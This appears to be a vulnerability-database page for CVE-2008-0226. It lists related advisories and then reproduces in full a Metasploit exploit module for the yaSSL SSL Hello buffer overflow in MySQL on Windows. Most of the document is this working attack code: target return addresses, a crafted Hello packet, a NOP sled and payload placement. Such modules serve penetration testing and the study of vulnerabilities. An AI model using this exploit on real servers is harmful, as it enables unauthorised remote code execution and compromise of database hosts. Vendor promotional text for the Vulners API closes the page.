| Reporter | Title | Published | Views | Family All 42 |
|---|---|---|---|---|
| Security fix for the ALT Linux 5 package MySQL version 5.0.51-alt2.a | 16 Mar 200800:00 | – | altlinux | |
| CVE-2008-0226 | 9 May 201000:00 | – | circl | |
| MySQL yaSSL SSL Hello Message Buffer Overflow (CVE-2008-0226) | 10 Nov 200900:00 | – | checkpoint_advisories | |
| CVE-2008-0226 | 10 Jan 200823:00 | – | cve | |
| CVE-2008-0226 | 10 Jan 200823:00 | – | cvelist | |
| [SECURITY] [DSA 1478-1] New mysql-dfsg-5.0 packages fix several vulnerabilities | 28 Jan 200820:20 | – | debian | |
| Debian DSA-1478-1 : mysql-dfsg-5.0 - buffer overflows | 30 Jan 200800:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2008-007) | 10 Oct 200800:00 | – | nessus | |
| Mandriva Linux Security Advisory : mysql (MDVSA-2008:150) | 23 Apr 200900:00 | – | nessus | |
| MySQL Community Server 5.0 < 5.0.67 Multiple Vulnerabilities | 11 Sep 200800:00 | – | nessus |
##
# $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
implementation bundled with MySQL <= 6.0. By sending a specially crafted
Hello packet, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2008-0226' ],
[ 'OSVDB', '41195'],
[ 'BID', '27140' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],
[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 4 2008'))
register_options([ Opt::RPORT(3306) ], self)
end
def exploit
connect
sock.get_once
req_uno = [0x01000020].pack('V')
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)
print_status("Trying target #{target.name}...")
sock.put(req_uno)
sock.put(req_dos)
handler
disconnect
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation